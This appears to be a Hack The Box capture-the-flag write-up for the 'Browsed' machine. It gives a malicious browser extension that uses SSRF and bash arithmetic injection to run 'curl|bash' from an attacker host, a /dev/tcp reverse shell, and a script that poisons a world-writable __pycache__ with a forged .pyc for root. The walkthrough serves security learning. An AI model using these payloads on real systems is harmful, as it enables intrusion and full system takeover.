Back to writeups

Browsed - Writeup

Browsed
Medium
Linux

Reconnaissance

Port Scan

Nmap reveals two open ports:

  • 22/tcp - SSH
  • 80/tcp - HTTP (Nginx)

Service Identification

Port 80 hosts a browser extension review platform. The site offers:

  • 3 sample extensions available for download (Fontify, ReplaceImages, Timer)
  • An upload form to submit your own extension "for review"

Uploading a test extension and examining the returned logs reveals a Chromium instance loading the extension and navigating to two sites - http://localhost/ and http://browsedinternals.htb/. This leaks the internal hostname.

Adding browsedinternals.htb to /etc/hosts reveals a Gitea 1.24.5 instance. It contains a public repository with the source code of a markdownPreview application - a Flask app running internally on localhost:5000.


Initial Access - Bash Arithmetic Injection via SSRF

Source Code Analysis

The Gitea repository contains the markdownPreview application - a Flask app that converts Markdown to HTML. Key files:

app.py

The application exposes a /routines/<rid> endpoint:

@app.route('/routines/<rid>')
def routines(rid):
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

Note: subprocess.run uses a list (no shell=True), so direct command injection at the Python level is not possible. The vulnerability lies deeper.

routines.sh

if [[ "$1" -eq 0 ]]; then
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."
fi

The line [[ "$1" -eq 0 ]] evaluates $1 as a bash arithmetic expression. In bash, arithmetic contexts interpret $(command) as command substitution - meaning arbitrary commands inside $(...) will be executed.

Extension Upload

The application also allows uploading browser extensions (as ZIP files), which are then loaded into a Chromium instance via --load-extension. The Chromium browser navigates to both http://localhost/ and http://browsedinternals.htb/, triggering any content scripts.

Exploit Strategy

The attack chain:

  1. Create a malicious browser extension with a content script
  2. The content script performs an SSRF request to http://localhost:5000/routines/<payload>
  3. The payload exploits bash arithmetic injection in routines.sh
  4. The injected command downloads and executes a reverse shell

Malicious Extension

manifest.json

{
  "manifest_version": 3,
  "name": "Evil",
  "version": "1.0",
  "host_permissions": ["<all_urls>"],
  "content_scripts": [
    {
      "matches": ["http://localhost/*", "http://browsedinternals.htb/*"],
      "js": ["content.js"],
      "run_at": "document_idle"
    }
  ]
}

content.js

const ATTACKER_IP = "10.10.14.2";
const ATTACKER_PORT = "1337";

// Payload uses curl|bash - no forward slashes needed in URL path
const payload = `a[$(curl ${ATTACKER_IP}:${ATTACKER_PORT}|bash)]`;

// SSRF to internal markdownPreview app
fetch("http://localhost:5000/routines/" + encodeURIComponent(payload))
    .then(r => r.text())
    .then(t => console.log("Response:", t))
    .catch(e => console.error("Error:", e));

The payload a[$(curl 10.10.14.2:1337|bash)] works because:

  • a[...] is valid bash arithmetic syntax (array subscript)
  • $(curl IP:PORT|bash) is evaluated during the arithmetic expansion
  • No forward slashes appear in the URL path (only inside the encoded payload), so Flask routing works

Exploitation

1. Create reverse shell script (index.html)
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > index.html

2. Start HTTP server (for curl to download from)
python3 -m http.server 1337

3. Start listener
nc -nlvp 9001

4. Zip the extension (files must be at root of ZIP)

5. Upload ext.zip through the Markdown Previewer
Chromium loads the extension, content script fires, SSRF triggers bash RCE

Shell received as user larry:

larry@browsed:~$ id
uid=1000(larry) gid=1000(larry) groups=1000(larry)
larry@browsed:~$ cat user.txt

Privilege Escalation - Python .pyc Cache Poisoning

sudo Enumeration

larry@browsed:~$ sudo -l
User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

extension_tool.py Analysis

The script is a Python utility for managing browser extensions:

#!/usr/bin/python3.12
from extension_utils import validate_manifest, clean_temp_files
import zipfile

EXTENSION_DIR = '/opt/extensiontool/extensions/'

def main():
    parser = ArgumentParser(...)
    parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
    parser.add_argument('--bump', choices=['major', 'minor', 'patch'])
    parser.add_argument('--zip', type=str, nargs='?', const='extension.zip')
    parser.add_argument('--clean', action='store_true')
    # ...

It imports validate_manifest and clean_temp_files from extension_utils - a module in the same directory.

Identifying the Vector

Checking permissions on /opt/extensiontool/:

PathPermissionsOwner
extension_tool.py-rwxrwxr-xroot:root
extension_utils.py-rw-rw-r--root:root
__pycache__/drwxrwxrwxroot:root

The __pycache__/ directory is world-writable. When Python imports extension_utils, it checks for a cached .pyc file in __pycache__/ before reading the source. If the .pyc header (timestamp + source size) matches the source file, Python loads the cached bytecode without reading the original .py file.

Since larry can write to __pycache__/, we can plant a malicious .pyc with a forged header matching extension_utils.py's metadata.

Exploitation

python3.12 -c "
import py_compile, struct, os, shutil

# 1. Create malicious module
with open('/tmp/evil_utils.py','w') as f:
    f.write('''import os
os.system(\"chmod +s /bin/bash\")
def validate_manifest(*a,**k):
    return {\"version\":\"1.0.0\"}
def clean_temp_files(*a,**k):
    pass
''')

# 2. Compile to .pyc
py_compile.compile('/tmp/evil_utils.py', '/tmp/extension_utils.cpython-312.pyc')

# 3. Fix header - match timestamp and size of real source file
src = '/opt/extensiontool/extension_utils.py'
st = os.stat(src)
with open('/tmp/extension_utils.cpython-312.pyc','r+b') as f:
    magic = f.read(4)   # magic number
    flags = f.read(4)   # flags
    f.write(struct.pack('<I', int(st.st_mtime)))  # source timestamp
    f.write(struct.pack('<I', st.st_size))         # source size

# 4. Plant in __pycache__
shutil.copy('/tmp/extension_utils.cpython-312.pyc',
            '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc')
print('[+] Poisoned .pyc planted!')
"

Then trigger the import as root:

larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
# chmod +s /bin/bash executes as root

larry@browsed:~$ bash -p
bash-5.2# id
uid=1000(larry) gid=1000(larry) euid=0(root) egid=0(root) groups=0(root),1000(larry)
bash-5.2# cat /root/root.txt

Attack Chain Summary

Port 80 (Extension Review Platform)
  
  ├─ Upload extension  logs reveal browsedinternals.htb
    └─ Gitea 1.24.5  markdownPreview source code
  
  ├─ Source code review: routines.sh uses [[ "$1" -eq 0 ]]
    └─ Bash arithmetic injection via $(command)
  
  ├─ Malicious browser extension uploaded as ZIP
    └─ Content script  SSRF to localhost:5000/routines/<payload>
  │     └─ a[$(curl ATTACKER|bash)] → reverse shell as 'larry'

  └─ sudo /opt/extensiontool/extension_tool.py (NOPASSWD)
     ├─ __pycache__/ is world-writable (drwxrwxrwx)
     ├─ Malicious .pyc with forged header planted
     └─ import extension_utils → code execution as root
        └─ chmod +s /bin/bash → bash -p → root shell

Key Takeaways

  1. Bash arithmetic evaluation ([[ "$1" -eq 0 ]]) silently executes $(command) substitutions - use = for string comparison instead of -eq when processing untrusted input
  2. Browser extensions with broad permissions can perform SSRF to internal services - always validate and sandbox uploaded extensions
  3. __pycache__ directories should never be world-writable - a poisoned .pyc with a forged header bypasses source validation and achieves arbitrary code execution
  4. Manifest V3 is required for modern Chrome-based browsers - MV2 extensions will be silently rejected
  5. Defense in depth: even though subprocess.run used a list (preventing shell injection in Python), the called bash script introduced its own injection vector through arithmetic evaluation
Hack The Box Achievement